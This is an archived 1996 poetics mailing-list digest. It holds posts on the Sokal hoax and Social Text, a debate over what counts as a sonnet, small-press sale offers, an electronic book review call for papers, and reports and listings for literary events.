> *and all that.*

Right. The type of journal makes all the difference. The inside cover of Social Text has all the apparatus of a peer-reviewed journal (submit essays in triplicate to such-and-such address in this form), and there's in fact nothing to indicate otherwise. (Nor to indicate that you're probably wasting your time, since everything's solicited anyway).

Seriously now: all of us can tell the difference between Talisman and Contemporary Literature, and the fact that Talisman happens to be livelier doesn't meant that CL should stop being peer-reviewed. With regard to Social Text, Ross's claim that the journal isn't peer reviewed is an obvious attempt to escape responsibilty for publishing an article that nobody on the board (or collective) cared to engage seriously.

Cheers,
David
~~~
~~~

David Kellogg Duke University
[redacted] University Writing Program
[redacted] Durham, NC 27708
FAX [redacted]

> There is some excitement in one corner,
> but most of the ghosts are merely shaking their heads.
>
> -- Thomas Kinsella

↑ Index

## 540. Dan Horne
### *Sokal*
*Tue 28 May 1996*

---

Lately there's been a lot of emails on the Sokal debate. Unfortunately, it seems I've picked up the threads halfway through, so I'm not even sure what the story is, although it sounds mighty interesting. Can someone please give me a brief summary so that I can follow this apparently juicy subject?

Regards

Dan Horne

---------- Technical Analyst Oracle New Zealand Ltd. [redacted] Level 16, 7 City Rd
[redacted] Auckland, New Zealand ----------
Disclaimer: The opinions expressed here are my own, and are not necessarily those of Oracle Corporation.
----------

↑ Index

## 541. Jonathan Brannen
### *Re: chax books*
*Tue 28 May 1996*

---

Caroline,

I just picked up a copy of _Marine Snow_ at Talking Leaves bookstore in Buffalo for $12.00 (US). You can order by mail from Talking Leaves. I've misplaced the store's address but maybe somebody in Buffalo can provide it. Of course, it was probably the store's only copy, so you might be better off going directly to the press as Charles suggested.

My copy of MacCormack's _Quill Driver_ (Nightwood Editions, probably available from SPD) has neither a publication date nor a copyright date in it. I think

it came out between _Straw Cupid_ and _Quirks & Quillets_, but it might be more recent. If you don't already have them, I highly recommend them also.

I just got back from a camping trip or I would have responded sooner.

Best,
Jonathan Brannen

> *On Wed, 22 May 1996, Jonathan Brannen wrote:*
>
> *if you're not already familiar with the work of Karen MacCormack (whose work deserves to be more widely known than I suspect it is), _Quirks & Quillets_ is a worthy introduction.*
>
> *I second that motion.  Has she published anything since _Quirks & Quillets_?*
>
> *Carolyn Guertin*
> [redacted]
>
> *Yes, _Marine Snow_ came out in 1995, from ECW Press, and it's quite marvelous. ECW, I believe, is trying to gain distribution by SPD, but may not have such distribution yet. The address of ECW is 2120 Queen Street East, Toronto, Ontario M4E 1E2, Canada. The price is not printed on the book, so I can't tell you what it costs, Canadian or American.*
>
> *Chax will be bringing out Karen Mac Cormack's  _The Tongue Moves Talk_ in the fall of 1996. I'm sure I'll make some kind of announcement on the Poetics List, although keep in touch, please. We should be moved before that book comes out, so it's possible I won't have email or Poetics List connection for a while in late summer/early fall.*
>
> *charles alexander*
> *chax press*
> *p.o. box 19178*
> *minneapolis, mn  55417*
> *usa*
>
> [redacted]

↑ Index

542. **Jordan Davis**
***Re: Poem of Weeping Ghosts in Sonnet Form***
*Tue 28 May 1996*

---

Counselor Carll having discussed this part--

> *IS it good and useful for poetics as a field to ahve its terminology become SO open in meaning that a term like sonnet ceases to carry much information?*

--I'd like to look at this part, your honor.

> *If the weeping ghosts poem is a sonnet, then what does sonnet mean? Apparently a poem in 14 lines and/or a poem that its author chooses to call a sonnet.*

As someone recently excused from a jury panel--having admitted writing poetry, and surviving the discussion of poetry pursuant to that admission--I would ask counsel to supply the hidden parameters in her definition of 'sonnet' to be acknowledged by the clerk--and registered as evidence--for it is this counsel's position that the poem in question, 'poem of weeping ghosts in sonnet form', may or may not be a sonnet, but may never be 'apparently' anything until all parties have produced evidence.

Juridically,
Jd

↑ Index

543. **Jordan Davis**
***scsi fcta***
*Tue 28 May 1996*

---

Henry--
forgive me Laura Riding's Italian--
but--
are you saying--
that the taste of miracle-gro--
is the foundation of realty?--
there is a car--
perched--
beside the motorscooter--
a is next to the--
to the b--
viz David Schubert--
the poetics--
the prison--
is down among the trees--
you want me to come see--
'il duce'--
with thee?--
Jd

↑ Index

## 544. George Bowering
### *Re: Poem of Weeping Ghosts in Sonnet Form*
*Tue 28 May 1996*

---

Hey, Anne Finch,

Since when do sonnets have to be 14 lines long? I've seen lots of them that are 11 or 12.

.....
"Stupidity is not my strong point."
--Valery

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

## 545. Deirdre Kovac
### *Big Allis Offer*
*Tue 28 May 1996*

---

As noted with the recent reading/launch announcement, Big Allis #7 is hot off the press and in celebration of this the following offers are extended to the poetics list and its environs and acquaintances:

Big Allis #7 / $5 Work by: Jean Donnelly, Laurie Price, Ann Lauterbach, Charles Bernstein, Joan Retallack, Deirdre Kovac, Gail Sher, Anne Tardos, Hannah Weiner, Mark DuCharme, Elizabeth Fodaski, Stephen Ratcliffe, James Sherry, Tom Beckett, Caroline Bergvall, Michael Gottlieb, Stacy Doris, and Rod Smith. And perfect bound, with pictures!

Big Allis Back Issues #1 through #6 / $3 each
(Note: Issue #4 may take longer to ship.)

Subscription / $12
Includes two issues (indicate issue to start with) and one back issue of your choice.

All prices include domestic postage. An invoice will be sent with magazines. (Please include full name and mailing address with any order.)

IMPORTANT NOTE: Nothing regarding these offers should be sent to the poetics list.

All orders, queries, etcetera should be sent backchannel, directly to me via e-mail: [redacted]

or, if e-mail is not possible, via post:
Big Allis
c/o Deirdre Kovac
20 Douglass Street #3
Brooklyn NY 11231

Thank you in advance. No quote. Deirdre.

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546. **Robert Drake**
***AVEC sale (fwd)***
*Tue 28 May 1996*

---

Cydney Chadwick asked me to repost this; apologies if it's a duplicate. Please respond to Cydney (at [redacted]), *not* to me or to the whole list...

lbd

[begin forwarded message]:

AVEC SALE

A special sale for subscribers to the Poetics List and internet users: for $14 you will receive: AVEC #4, which contains part two of a translation section of contemporary poetry and prose from France (most of the work is still unpublished in book form and unavailable elsewhere). It also includes work by Michael Palmer, Lyn Hejinian, Clark Coolidge, Laura Moriarty, Leslie Scalapino, an image and text piece by Johanna Drucker, art by Susan Bee, and cover art by New York School painter Norman Bluhm.

Also: Avec #8. With this issue the journal began featuring longer sections of work per contributor, some of whom are: Elizabeth Willis, Sianne Ngai, Chris Stroffolino, Agnes Rouzier, Friederika Mayrocker, Kieth & Rosemary Waldrop, and the award-winning photo-text collboration by Norma Cole and Ben E. Watkins.

And finally: A Cast of Tens by David Bromige. The 29th book by the 1988 winner of the Western States Book Award.

"Bromige is a master at probing the irreducibilities of symbolic logic, and his playful yet outrageous equivalencies explode the neat, cut-and-dried tautologies of Wittgenstein: "The old man is 112 pages long / and so is the sea / They are deeply symbolic (psychotic)." Bromige's structures are sinuous and mathematic, and they evoke the tonal colors of Schoenberg, Satie, or Cage,

successfully evading what Bromige has characterized as iambic pentameter's "echoic invasions."--Taproot Reviews

"Bromige combines the erudite with the dryly humorous."--The Independent

Sale from May 18-July 14th (Bastille Day). Please make checks payable to AVEC: PO Box 1059, Penngrove, Ca 94951.

e-mail:[redacted]

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## 547. Carnography
### *Re: Poem of Weeping Ghosts in Sonnet Form*
*Wed 29 May 1996*

---

Annie Finch:

> *If the weeping ghosts poem is a sonnet, then what does sonnet mean?*
> *Apparently a poem in 14 lines and/or a poem that its author chooses to call a sonnet.*
> *IS it good and useful for poetics as a field to ahve its terminology become SO open in meaning that a term like sonnet ceases to carry much information?*

Annie:

1. Just as a metrical pattern can be played against until the pattern becomes almost unrecognizable except in terms of perpetual modulation, so the *idea* of a particular form can supplant its normal technical demands of the poem--especially after hundreds of years, when said form might well be presumed to be sufficiently in place.

2. Sometimes the word *haiku* is employed to merely to suggest a succinct poem, often comprised of a single sentence, which makes use of, or parodies, (as in senryu, really a variation, if I recall correctly, of the tanka) stylized concrete observation.

3. Just so, a sonnet can be seen purely in terms of its formal argument, compression, contour, diction, or play on any of these. Likewise, I would argue that any poem devoted to the exploration of *any* aspect of sonnet form may legitimately be called a sonnet in some sense.

4. Still, none of this is particularly useful to know if you are trying to master Shakepearean, Petrarchan, Miltonian, Keatsean (or Etceterean) sonnet form. I myself like to write what I call *parallel sonnets* (I can't be the only one who's done this), in which the the metric is syllabic/accentual (rather than the other way around) and the simple rhyme scheme is as follows:

a. abcd abcd efg efg.

b. Here is an example, which I present here to show my technical interest in the sonnet form, a form for which I feel no particular reverence:

---
---

_Parallel Sonnet_

Her tazed remains electrify the lake,
your Gamma rays deface our clientele.
I've eyed the sore through diadems of plasma
like silver bottles made of Plutarch's nerves.

A whiff of midden hypnotized the hick:
his face expanded like a parasol.
The mandibles of corpses belch miasmas,
tinting the wind in which a cinder swerves.

Go home, erased equestrian, tapeless worm.
You tongue the twelve-inch someone wants to type.
To err is Hume, the shell-game is the switch--

or else the verb assasssinates its form.
The glove reverts to thumb, the trill to strip
of chins in pails, that itch to drop in pitch.

(orig. published in Cups Magazine, 1989)

---
---

Hope this helps.

All the best,

Rob Hardin

PS: I've done a ridiculous number of experiments in Greek meter, acrostics using medieval classical/contrapuntal techniques and irregular stanzaic patterns, neo-Campionesque quantitative verse, my own versions of Augenmusik, etc. I'd regard all of these as hopelessly anal if I didn't weren't addicted to the medieval period and its cerebral, almost arbitrary approach to questions of musical form. Thus, I'd love to submit work to your forthcoming anthology of form(al) poetry.

(Tel: 212/[redacted], afternoons)

↑ Index

548. **Carnography**

***Re: Poem of Weeping Ghosts (oops--corrected)***

*Wed 29 May 1996*

---

Annie Finch:

> *If the weeping ghosts poem is a sonnet, then what does sonnet mean?*
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(Tel: 212/[redacted], afternoons)

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## 549. Carnography
### *Re: Derrida's maxim*
*Wed 29 May 1996*

> "*Form fascinates when one no longer has the force to understand force from within itself. That is, to create.*" *-- Jacques Derrida*

This is certainly a critic's understanding of form and
not a poet's. Even Pound was perversely fascinated with
the technicalities of form--let alone those who dogmatically
assert that a poet must be "free" of "external" formal constraints.
Such a preoccupation is to formalism what Satanism is to
Christianity--belief by the back door.

(Will I get the neither/nor lecture again for using parallelism here?)

To understand from within *and* from without--surely
this must be the best of both worlds.

All the best,

Rob Hardin

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550. **Joe Tabbi**
***ebr special issue: visual narratives***
*Wed 29 May 1996*

---

Call for Papers

ebr, the electronic book review <http://www.altx.com/ebr/>, is now soliciting essays, visual projects and reviews for its upcoming issue on the interaction of narrative and image in print and electronic media. We're open to essays in combination with online visual projects that deal with any aspect of narrative (narrative theory, cultural criticism, politics, etc.). We are especially interested in works that perform the ideas they articulate and would most like to see submissions that could do so on-line. Specifics and possible starting points are given below. Please address all correspondence to both guest-editors, Steve Tomasula ([redacted]) and Anne Burdick ([redacted]). Deadline for finished work: November 1, 1996.

Part I, Ars Fabula (Narrative and Image) In this section of the issue, we hope to showcase essays in which the visual component of a narrative is germane to its interpretation. The emphasis should be on narrative; that is, we are not interested in the artist's book that is concerned with purely formal or material considerations: the book itself as art object. However, we are very interested in the artist's book that integrates materials and formal concerns in a narrative, especially as these may influence interpretation or structure specific, alternate "readings." The works under investigation can take a variety of forms, but some examples might be: works that use the grid of the page/screen and typography (in the tradition of Raymond Federman's _Double or Nothing_, Ron Sukenick's _Out_, Derrida's _Glas_ or "The Double Session"); works that integrate images as part of the narration, such as William Gass's _Willie Master's Lonesome Wife_, Rem Koolhaas's _S, M, L, XL_, the Mexican photo-novella, or graphic novels such as Art Spiegelman's _Maus_; works that use images as glosses upon the text or conversely books that actually tell their stories through images' indirect commentary, e.g. Simon Schama's _Dead Certainties_, Carole Maso's _The Art Lover_, Julian Barnes's _History of the World in 10-1/2

Chapters_; signal works in the history of text/image collaboration, by Fluxus, for example, or the Futurists (Russian and Italian).

Essays should deal with some aspect of the interaction of word and image, i.e., not simply the interaction of two kinds of expression, but of two different modes of narration, two languages that are absorbed into a third: the metalanguage of the image/text. How is such work different from other types of narrative? What are its aesthetics? On what terms is it to be discussed, interpreted, critiqued? What are its ramifications? For example, if an analysis of point-of-view can reveal modernist epistemology, what do image-driven text narrations reveal about contemporary culture? Do our values, narative theory, aesthetics, language, ideology inhere in Howard Stern's _Miss America?_

Part II, Ars Electronica (Narrative and Electronic Media) In this section we would like to examine text- and image-driven narration in the environment made possible by new technologies. The above criteria apply to submissions for this category. However, here we are particularly interested in stories that can only be told, and essays whose arguments can only be made, through electronic media. Thus, if the work under discussion could have been done in an older medium, it probably isn't right for this section.

More appropriate are issues of literary narration that might have been sublimated before, or might have been more applicable to the theater, opera, or film. Again, what do narrative elements such as character or plot or organization mean in works of multimedia? What are the poetics of hypertext? What is its rhetoric? What are we to make of the "found art" aesthetic that has entered into fiction? Of issues like indeterminacy and intertextuality? motion, space, time, interactivity? What, if anything, is narration that incorporates contemporary technology working against? Should we reread Wayne Booth? J. Hillis Miller? If book technology placed constraints on narrative, what are the constraints of html or the CD-ROM? Of the computer monitor? How do these constraints manifest themselves in electronic narrative, and what difference does it make? How does all this affect our relationship with the material form.

Essays submitted to ebr should take up some aspect of "reading," but reading in a narrative that is also able to incorporate sound, images, video, hotlinks, interactivity. Emphasis should be on aesthetics or narratology or cultural context: the ramifications of a medium that forces us to rethink poetics. Of course, essays that contextualize or historicize media-driven narratives are also welcome.

III reVIEWS As always, ebr is interested in reviews of art works, graphic novels, hyper novels, performances, recent conferences, or stories that relate to the above two themes.

Who We Are

ebr is an electronic book review, an online forum allowing critical writers to present their work on the Internet. We are committed to reviewing (literally, seeing again) every aspect of book culture--fiction, poetry, criticism, and the arts--in the context of emerging media. At the same time, ebr is a review of electronic books, promoting translations and transformations from print to screen, and covering literary work that can only be read in electronic formats. To facilitate print/screen collaborations, and as a service to writers whose primary domain is print, ebr plans on sharing reviews with various print journals. Our first two issues have appeared as focuses of _The American Book Review_, and particular essays are scheduled to appear in various academic and mainstream journals (including _Harper's Magazine_). We'd be interested in hearing from editors who would like to discuss arrangements for sharing reviews in the future.

Guidelines

For future issues, we are soliciting critical writing not only on, but in hypertext. We are interested especially in exploring narratives whose logic is as much visual as verbal, and we prefer thoughtful overviews, polemics, and review essays to evaluations of single works. Authors are encouraged to mark up their essaysin html and, if possible, to put them up at their own web sites for us to download. Otherwise, you should send us hard copy and a disk (preferably formatted for IBM machines). If you use a Mac, please format the disk for pc use, and save an additional version as a text file.

Essays should follow the general format of the essays and reviews that have appeared in ebrs 1 & 2. While we have no proscriptions against specialized language or scholarly rigor, we request that endnotes be kept to a minimum (or that they should be worked unobtrusively into the design of the screen-page). Since we are not a peer review journal, we discourage reviews that simply verify an author's or the reviewer's credentials. We prefer not to assign novels to novelists, books of poetry to poets, or academic books to professor-critics. Interdisciplinary work is encouraged when attention is paid to the methods, values, and professional protocols of each of the fields under discussion. References to web sites or online books should be accompanied by the appropriate URLs.

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551. **henry**
***Re: scsi fcta***
*Wed 29 May 1996*

---

On Tue, 28 May 1996 18:11:21 -0500 Jordan Davis said:
>Henry--

>forgive me Laura Riding's Italian--
>but--
>are you saying--
>that the taste of miracle-gro--
>is the foundation of realty?--
>there is a car--
>perched--
>beside the motorscooter--
>a is next to the--
>to the b--
>viz David Schubert--
>the poetics--
>the prison--
>is down among the trees--
>you want me to come see--
>'il duce'--
>with thee?--

M. Jordan, tu n'est pas loin du Royaume de Dieu.
Mais les dictateurs ne sont plus de fagots pour le feu.
Quand l'Empire des grands fous
Comme Pierre Ott et Gilles Ooze
Seront 'ci --
Ma --
Che fai?
Eh?

-- Jacques Grillon

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552. **henry**
***russ/american poetry conf report***
*Wed 29 May 1996*

---

Still coming down from as the russkies call it the "yekstasy" of the great Russ-American Poetry Conference in Hoboken. What to say, it was magnifique, magnotic, hypnetic, and kenotic. Even though they smoke like blowfish, walk out of readings (zey do zis in Russia too), drink like like glug glug, they are for real. Dragomoshenko a great clown, a great performance poet. Elena Shvarts in a class by herself - americans have yet to dive into this cosmos of a 4-ft tall Petersburg wonder. Seems appropriate that this get together happens under friendly auspices of many american "EXERPERMENTIL" AND "LINGEWOGE" type poets since pure products of america go crazy and lignuohodge poetry is

pure american crazy-talk (another great gift to me was to hear some of them read out loud, Bruce Andrews, Jackson Mac Low, Rod Smith, Leslie Scalp-yr-hindo, many another)... but ironically these russkies are still very representative of their own traditions - branching out from them toward us - and that style is so DIFFERENT from us - as Shvarts told me (she likes to be provocative) Americans spend a long time getting to what they want to say & putting all the prep-work into the poem, whereas the russkies put a kind of finality into their compact poems - one aspect of this is that often it's all memorized (MORE than often) - rhymed, metered, recited - extreme example the incredible Ivan Zhdanov - "force of nature" from the Altai region - very offhand, subdued recital of very densely-packed imagery & concept. Making no value-judgements here. The high-energy Americans I heard were a revelation. But, well, we come from where we come from, and I just happen to be a russian poet. More later maybe - what a storm of interesting purple - endless gratitude to Ed Foster & gang (if there was a gang) - Gyenri Gyould

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553. **Mark Roberts**

### *AWOL: Next Wave Festival (forwarded)*

*Wed 29 May 1996*

---

> *Mime-Version: 1.0*
> *Date: Tue, 28 May 1996 22:13:18 +1000*
> *To:* [redacted]
> *From:* [redacted] *(awol)*
> *Subject: AWOL: Next Wave Festival*
>
> *The following information has been posted by AWOL on behalf of the Next Wave Festival. For further details please use the contact details for the Next Wave Festival at the end of the post.*
>
> **********
>
> *NEXT WAVE WRITERS WEEKEND*
>
> *Saturday 1 June - Sunday 2 June. Next Wave Writers Weekend will be held in Storey Hall RMIT 360 Swanston Street, Melbourne, Melbourne Co-operative Bookshop, Lounge 243 Swanston Street Melbourne, Budinski's upstairs 380 Lygon Street Carlton & RMIT Bookshop RMIT corner Swanston & La Trobe Streets Melbourne.*
>
> *Costs: Storey Hall Readings and Forums: session $4 day ticket, $10 weekend*

*ticket $15 (Show'n Tell $8, $6 with weekend ticket). Free entry to Spiels Reading, Electric Words, launches & demonstrations).*

*Program:*

*1 June*

*11am Flesh it Out - writers perform. Seminar Room, Story Hall. Edward Berridge, Anna Kay, Michael Foster, Moira Burke, Claire Murphy.*

*11.15 Electric Words Antoni Jach's Introduction to CD-Rom literature, Lecture Theatre, Storey Hall (free).*

*12pm I Started a Fan-zine. Zine-sters discuss their careers. Lecture theatre Storey Hall. Richard Watts, Tracy Grimson, Vicki Shuttleworth, Gerry (Dark Angel). Chaired by Phillippa Byrne.*

*1pm Physical Mass. Writers Perform. Seminar Room Storey Hall. Edwina Preston, Eric Dando, Jim Buck, Bernadette Taylor, Mark Panozzo.*

*1.30pm CD-Rom Demonstration RMIT Bookshop Free.*

*2pm Fear & the Other. Homophobia, misogyny, racism & the writer. Forum, Lecture Theatre, Storey hall. Raimondo Cortese, Leonie Stevens, Christos Tsiolkas, Anna Kay.*

*3pm In Your Face. Writers Perform. Seminar Room, Storey Hall. Justine Ettler, Kathryn Buck, Rob Walmsley, Tom Ball, Richard Watts.*

*3.30pm CD-Rom Demonstration RMIT Bookshop Free.*

*4pm The Journalist as Writer: Journalists discuss their writing. Forum, Lecture Theatre, Storey hall. Matthew Jones (Outrage, Melbourne Star Observer,) Michelle Griffin (freelance), Felicity Lewis (Herald Sun).*

*8pm Show'n Tell: Speak now or forever hold your piece. Storey hall Auditorium. An evening of spoken word performance from Melbourne artists, live bands and live crosses to New York performers. Featuring Richard Watts, Edwina Preston, Howlings in the Head, Eric Dando & the Bald Men in Sleeping Bags, Tom Ball, Jay Kranz, Neil Boyack, Cecilla Mellis (cost $8 or $6 for day and weekend ticket holders).*

*2 June*

*11am Speaking of Spoken Word A global conference of print-medium writers & spoken word practitioners debating the spoken word medium, both in Melbourne & live from New York. Conference, Lecture Theatre Storey hall. Chaired by Kerry Watson. Melbourne speakers: Peter Salmon, PI0,Howlings in the Head. New York speaker: Bob Holman (Nuyorican Poets & United States of Poetry).*

*12pm. Fictions Writers perform. Seminar Room Storey hall. Leonie Steveens, Lisa Greenaway, Scott Robinson, Karen McKnight, Ken Hew.*

*12.15pm Electric Words Antoni Jach's Introduction to CD-Rom literature, Lecture Theatre, Storey Hall (free).*

*1pm What we Talk About When we Talk About Dirty Realism: A literary movement? a genre? or just a dirty word? Forum Lecture Theatre Storey hall. Edward Berridge, Justine Ettler, Neil Boyack.*

*1.30pm CD-Rom Demonstration RMIT Bookshop Free.*

*2pm Read My Lips Writers perform. Seminar Room Storey Hall. Barbara Wels, Natasha Cho, Alicia Sometimes, Andy Griffiths, Clare Mendes.*

*3pm Rock'n Roll Aint Literary Pollution: Rock journalists explore their words. Forum, Lecture Theatre, Storey Hall. Clinton Walker, Tracey Grimson, Paul Stewart, Lauren Zoric. Chaired by James Young.*

*3.30pm CD-Rom Demonstration RMIT Bookshop Free.*

*4pm Face the Music: writings about and with music. Seminar Room Storey Hall. Chris Gregory, Clinton Walker, Jay Kranz, Cecillia Mellis, Membrane*

*5pm Overland launch: Next Wave Overland issue of writers and editors under 30. Storey Hall Auditorium Foyer - free. Featuring guest speaker and performances by contributors*

*5.30pm Spiels Reading Frank Moorhouse and University of Melbourne Students. Budinski's free (doors open 5pm) Upstairs 380 Lygon Street Carlton.*

*For further information contact the Next Wave Festival Phone 03 9417 7544, fax 03 9417 7481 or email* [redacted]

*AWOL*
*Australian Writing On Line*
[redacted]
*http://www.ozemail.com.au/~awol*
*PO Box 333 Concord NSW 2137 Australia*

> *Phone 61 2 7475667*
> *Fax 61 2 7472802*

---

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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554. **Mark Roberts**

## *AWOL: OVERLAND 143 & the Next Wave Festival (forwarded)*

*Wed 29 May 1996*

---

> *Mime-Version: 1.0*
> *Date: Wed, 29 May 1996 06:58:55 +1000*
> *To:* [redacted]
> *From:* [redacted] *(awol)*
> *Subject: AWOL: OVERLAND 143 & the Next Wave Festival*
>
> *The following message has been posted by AWOL on behalf of OVERLAND magazine. OVERLAND 143 will be launched this Saturday as part of the Next Wave Festival Writers' Weekend in Melbourne. It is available now from the AWOL Virtual Bookshop (email us for details or look at our web site). OVERLAND 143 will also be available shortly at the following bookshops: Readings (Hawthorn), Greens Bookshop (Flinders Lane), Avenue Bookshop (Albert Park), Pentimento Bookstore (Balmain), Norton Street Bookstore (Leichhardt), Gleebooks (Glebe), Ariel Booksellers (Paddington), The Bookshop (Darlinghurst & Newtown), The Library Shop (State Library of NSW), Half a Cow (Glebe), University Co-op Bookshop (ANU), National Library Shop (Canberra) and the Friendly Street Reading Bookshop (at their monthly reading in Adelaide). If you favourite/local bookshop doesn't stock OVERLAND they can order it through AWOL.*
>
> **********
>
> *Next Wave festival meets OVERLAND*

> *The winter issue of OVERLAND is the result of a unique collaboration between an Australian literary magazine and a festival. The issue forms a part of the literary activities of the 1996 Next Wave Festival, and consists entirely of work by writers under 30 and selected by a group of young editors enrolled in various creative and professional writing courses around Melbourne. The enlarged issue has been specially designed for the festival with new fonts, a new cover, and special layouts by Stephen Banham of The Letterbox.*
>
> *Work in the issue includes a discussion of relationships by internet, poems on ducks and goannas, a story from the borders of the Roman Empire and a poem of directions for adventurers and dreamers.*
>
> *Other features deal with the age of grunge and the phenomenon of the zines and their culture. Tony McGowan introduces readers to the world of Sydney Westies and surfies. Mic Smith goes hitching from Tailem Bend to Gellibrand, and tom ball finds love mixed up with everything except capital letters. Eric Dando writes a modern fairy tale of Jack Sprat and the bean stalk. Edwina Preston gives us Parsiphae's view of the bull. & Neil Boyack finds a mother in a bar.*
>
> *There is also the traditional OVERLAND mix of fiction,,poetry, features and reviews, but all from the perspective of the next wave of writers. These are the authors who are already writing our future.*
>
> *OVERLAND 143 will be launched during the Next Wave Festival Writers Weekend in Storey hall RMIT on 2 June at 5pm.*
>
> *OVERLAND is distributed by AWOL and is available for Aust$8 from AWOL's Virtual Bookshop (check out our website http://www.ozemail.com.au/~awol or call us for details).*
>
> *AWOL*
> *Australian Writing On Line*
> [redacted]
> *http://www.ozemail.com.au/~awol*
> *PO Box 333 Concord NSW 2137 Australia*
> *Phone 61 2 7475667*
> *Fax 61 2 7472802*

---

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]

PH:(02)[redacted]
FAX:(02)[redacted]

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555. **Daniel Bouchard**
***Re: russ/american poetry conf***
*Wed 29 May 1996*

I only made it to the Friday night readings but agree with Henry that it was a worthwhile trip. I don't understand Russian so the Russians who read were interesting mostly for sound and inflection and the reactions of people in the room who understood them. (There were some translations: Leslie Scalapino read in English a portion of Dragomonshenko's poems.)

Nathaniel Tarn, Jackson Mac Low, Leslie Scalapino and Simon Pettit all gave excellent readings. Can anyone tell me the name of the second Russian reader--the man who read over a cassette tape of spoken words while drumming into the microphone? I believe he introduced it as a kind of folk song tradition. I wanted to understand the language so much!

The behavior of the Russians during the reading was of interest to all I was with. It seems that whenever a Russian read, all (not all, but most of) the Russians left the room to chat. And when anyone else read the Russians stayed in the room and chatted without a hint of self-consciousness. How do you translate "when in Hoboken, do as the Hobokians" and why didn't they?

Henry wrote: "Dragomoshenko a great clown, a great performance poet." Sometimes, as in this case, I'm not sure what distinguishes the two. He did, even if most didn't understand the language he read in, consistently attract the attention of everyone in the room, even when he was reading. Can anyone explain why he entered the room and shouted "yes" and then walked to the blackboard and wrote "no?"

Well, thanks for the account, Henry. It's always useful to get another perspective of what one saw and heard.

[redacted]

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556. **Joe Amato**
***Re: Sokal in SoCal II***
*Wed 29 May 1996*

a few more thoughts re the sokal brouhaha, esp. after reading rob wilson's and others' thoughtful posts:

-- there is a journal---as i recall the title, _the journal of irreproducible results_---that provides a forum for mock-scientific studies of mock phenomena, playing specifically off of *scientific* jargon and methodology, and playing specifically to scientists and the scientifically-inclined... i mention this by way of indicating that sokal's parody has precedent within scientific discourse communities... of course this sidesteps the tricky issue of accepting a submission on the basis of formal criteria alone (please permit me this form/content dualism for a moment)... but if what sokal did is, as ross calls it, a "boy stunt," it is also connected with the general ethos of scientific discourse, if only on this latter's (lunatic?) fringes... an ethos emerging from a long history of proving, disproving, and, on occasion, offering up false proofs as a challenge, or for a few laughs---whatever the residual positivism or, as some would have it, male-adolescent leanings (haven't many of you seen proofs that 1 does not = 1?)... in any case, i think we oughtta be asking ourselves whether, when discourses collide, there isn't bound to be some friction owing to the assumptions each party makes about the nature of discourse...

-- i'm certain there are unreconstructed marxists out there (and mebbe even a few reconstructed ones) already itching to refer to this hoax as ample evidence that ludic postmodernism (you've heard this term, yes?) is consuming itself... that _social text_ is not materialist enough, is not grounded enough in economic realities, hence is susceptible to the general foolishness of various postmodernisms (btw, i have serious doubts that sokal is familiar with this latter position)... though i'd prefer to read the ny times publicity itself less as evidence of nasty corporate constituencies (which are surely at work) than as the public alignment of right-conservative discourse with american anti-intellectualism in general... which latter, for me anyway, will not be sufficiently explained/analyzed through elaboration of needs-based symbolic practices (i.e., there are always enough words to go around---which i take to mean there are always more than enough intentions to go around)... but my point here is that sokal's stunt is likely to draw even more attention to what constitutes politics per se in leftist discourse, from within related communities... which may or may not be a bad thing...

-- BUT, despite what i've just noted, and contra the good intentions hereabouts re revising our review practices to make them somehow more scrupulous, the worst thing that can happen now is for publishers to get fascist about things (sorry!), for critical journals to be more on their guard, to demand even more "tone lock" (thanx for introducing charles' term, mark)... in fact the failure of _social text_ to read sokal's parody *as* parody may point to the general success of academic discourse in creating formal/conventional codes that pass, in and of themselves, for critical insight/knowledge... and this is as true of the left as of the right, though the right's tightassedness about idiosyncracy in general

will tend to eliminate just about anything out of the orthodox (in more orthodox venues, that is)...

-- the problem in these terms becomes one of finding ways to be even MORE open, while not being exactly susceptible to bullshit... were the _social text_ editors more familiar with or open to alternative discourses, alternative ways of conducting critical/theoretical practice, alternative readings of critical vs. 'creative' discourse, perhaps they would have eliminated sokal's parody b/c it was a *parodic* failure, b/c it failed to open up any new critical (or even scientific) territory as parody (or isn't this a possibility?)...

-- or perhaps not... perhaps (i haven't read it) sokal's article should be looked at again for what it *does* tell us about its ostensible topic, mebbe in spite of itself... surely its publication-in-context speaks, however, to the discursive habits of _social text_ and of the left, as well as to scientific ethos, "boy stunts," ETC.... but it may well be that sokal's piece works in ways that neither sokal nor the _social text_ editorial board really understands... or is willing to... just as neither party seems willing to entertain a more loosely-defined notion of what constitutes scholarship (ok---in the humanities)...

-- the general public response on both sides, as i've heard it, amounts to both sides laying claim to higher social ground predicated on a similar, narrowly-defined understanding of what constitutes (good) scholarship (which latter is itself being understood, convolutedly, in terms of intention)... here's the options, as presented by each position:  (1) if sokal sez it's parody, it's mere parody... and b/c they published his parody, _social text_ and journals of its ilk regularly publish false and misleading information ...  (2) whether or not sokal sez it's parody, its a "curio, or symptomatic document" (ross) at best, poor scholarship at worst... and b/c he submitted a parody under the guise of scholarship, scientists (like sokal) are hostile to the notion of cultural critique...

-- there must be more than two options, two positions (and both positions as articulated would seem to argue against what is viewed by opposing parties as a form of intellectual corruption)... it seems to me we oughtta be looking at more than two ways of looking at sokal's parody, not so much in formal terms, but in terms of the sorts of formal (-institutional) constraints implied by its (almost) ipso facto rejection as "good" scholarship---by both parties (albeit one (apparently) a bit belatedly, post-publication)...

-- so it seems to me, in all, that neither party is being sufficiently literary... and i say this with [ahem] no due respect for realpolitik...

(THIS IS NOT A PARODY, i am a human being...)

joe

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## 557. Mary Hilton
### *primitive publications -- Announcement*
*Wed 29 May 1996*

---

Announcing primitive publications, a new press dedicated to bringing historically based text toward a greater accessibility. This press, which will publish approximately 6 chapbooks a year, will showcase present-day writing based on historical text or subject, as well as essays which deal with modern writing in a historical context (allowing the writing of today to been viewed as historically significant). Manuscript submissions are encouraged, when accompanied by a self-addressed, stamped envelope.

Current titles include:
"A True Relation of the State May Last, 1616" by Mary Hilton
"The Haunted Baronet" by Mark Wallace (upcoming June, 1996)

Cost of one chapbook is $4.00, or $20.00 for six. Please send submissions and orders to the following address:

primitive publications
c/o Mary Hilton
1706 U Street, NW, #102
Washington, DC 20009

or you can drop an e-mail to me at [redacted]
Thank you!

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## 558. Robert J Wilson
### *(un)becoming "literary" in ST &*
*Wed 29 May 1996*

---

